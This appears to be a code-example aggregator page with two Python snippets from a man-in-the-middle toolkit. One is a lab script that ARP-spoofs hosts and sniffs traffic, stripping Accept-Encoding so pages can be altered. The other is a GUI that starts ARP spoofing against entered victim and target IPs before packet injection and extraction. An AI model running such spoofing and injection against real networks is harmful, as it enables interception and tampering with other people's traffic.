예제 #1
0
from PacketHandler.Injectors.accept_encoding_substituter import AcceptEncodingSubstituter
from PacketHandler.packet_sniffer import PacketSniffer
from arp_spoof import ArpSpoof
from ip_to_mac_mapper import IpToMacMapper

# Mock the network mapping
mapping = IpToMacMapper().set_all({
    '192.168.56.101': '08:00:27:B0:A1:AB',
    '192.168.56.102': '08:00:27:C6:A4:61',
    '192.168.56.104': '08:00:27:67:EA:43',
})

arp = ArpSpoof()
arp.attach('192.168.56.101')
arp.attach('192.168.56.102')
arp.start()

packet_sniffer = PacketSniffer(['192.168.56.103'], mapping, 'enp0s3')
packet_sniffer.packet_injectors.append(AcceptEncodingSubstituter(
))  # Prevent the pages from being served with compression
packet_sniffer.start()

arp.join()
packet_sniffer.join()

# @todo convert into an automated test
예제 #2
0
class ARPSpoofFrame(Frame):
    def __init__(self, parent, controller):
        Frame.__init__(self, parent)
        self.controller = controller
        self.parent = parent
        self.arp = None

        label = Label(
            self,
            text='Identify the target and victim who need to be spoofed',
            font=controller.h2_font)
        label.pack(side='top', pady=20)

        label_ip_victim = Label(
            self, text="Victim(s) IP Address (sep =','): ").pack(pady=5)
        self.entry_ip_victim = Entry(self, width=35)
        self.entry_ip_victim.pack()

        label_ip_target = Label(self, text='Target IP Address: ').pack(pady=5)
        self.entry_ip_target = Entry(self, width=35)
        self.entry_ip_target.pack()

        self.button_ARP = Button(
            self,
            text="Start ARP Spoofing",
            command=lambda: self.start_spoofing(self.entry_ip_victim.get(),
                                                self.entry_ip_target.get()))
        self.button_ARP.pack(pady=10)

        self.button_reset_config = Button(self,
                                          text="Reset Configuration",
                                          command=lambda: self.reset_config())
        self.button_reset_config.pack(pady=7)

        self.button_start_injecting_extracting = Button(
            self,
            text="Start Injecting and/or Extracting",
            command=lambda: controller.show_frame("InjectorExtractorFrame",
                                                  update=True),
            state=DISABLED)
        self.button_start_injecting_extracting.pack(pady=7)

    def update(self):
        if self.controller.is_spoofing:
            self.stop_spoofing(status_update=False)
        if self.controller.victims is not None:
            self.entry_ip_victim.delete(0, END)  # clear entry
            num_items = len(self.controller.victims)
            self.entry_ip_victim.insert(0, self.controller.victims[0])
            if num_items > 1:
                for i in range(1, num_items):
                    self.entry_ip_victim.insert(
                        END, ", ".__add__(self.controller.victims[i]))
        if self.controller.target is not None:
            self.entry_ip_target.delete(0, END)
            self.entry_ip_target.insert(0, self.controller.target)

    def reset_config(self):
        if self.controller.is_spoofing:
            self.stop_spoofing()
            self.controller.output.update_status(
                "ARP Spoofing thread terminated", append=False)
        self.controller.show_frame("LocalNetworkScanFrame",
                                   select=True,
                                   update=False)
        self.controller.notebook.tab(self.controller.notebook.index(
            self.controller.tabs['ARPSpoofFrame']),
                                     state=DISABLED)

    def start_spoofing(self, vIP, tIP):
        victims = [vic.strip() for vic in vIP.split(',')]
        if ARPSpoofFrame.are_valid_ip_address(
                victims) and ARPSpoofFrame.are_valid_ip_address([tIP]):
            self.button_ARP.configure(text="Stop ARP Spoofing",
                                      command=lambda: self.stop_spoofing())
            self.controller.is_spoofing = True
            self.arp = ArpSpoof()
            for vic in victims:
                self.arp.attach(vic)
            self.arp.attach(tIP)
            self.controller.output.update_status('ARP Spoofing ' + vIP +
                                                 " and " + tIP,
                                                 append=False)
            self.button_start_injecting_extracting.configure(state=NORMAL)
            self.controller.notebook.tab(self.controller.notebook.index(
                self.controller.tabs['InjectorExtractorFrame']),
                                         state=NORMAL)
            self.arp.start()
        else:
            tkMessageBox.showerror(
                "Specify the target and victim",
                "Please specify the IP addresses of the victim and target and check whether the IP "
                "address notation is correct")

    def stop_spoofing(self, status_update=True):
        self.button_ARP.configure(
            text="Start ARP Spoofing",
            command=lambda: self.start_spoofing(self.entry_ip_victim.get(),
                                                self.entry_ip_target.get()))
        if status_update:
            self.controller.output.update_status(
                "ARP Spoofing thread terminated", append=False)
        self.button_start_injecting_extracting.configure(state=DISABLED)
        self.controller.notebook.tab(self.controller.notebook.index(
            self.controller.tabs['InjectorExtractorFrame']),
                                     state=DISABLED)
        self.controller.is_spoofing = False
        self.arp.keep_alive = False

    @staticmethod
    def are_valid_ip_address(addresses):
        for add in addresses:
            if not (ARPSpoofFrame.is_valid_ipv4_address(add)
                    or ARPSpoofFrame.is_valid_ipv6_address(add)):
                return False
        return True

    # Copied from tzot's answer - https://stackoverflow.com/questions/319279/how-to-validate-ip-address-in-python
    @staticmethod
    def is_valid_ipv4_address(address):
        try:
            socket.inet_pton(socket.AF_INET, address)
        except AttributeError:  # no inet_pton here, sorry
            try:
                socket.inet_aton(address)
            except socket.error:
                return False
            return address.count('.') == 3
        except socket.error:  # not a valid address
            return False
        return True

    @staticmethod
    def is_valid_ipv6_address(address):
        try:
            socket.inet_pton(socket.AF_INET6, address)
        except socket.error:  # not a valid address
            return False
        return True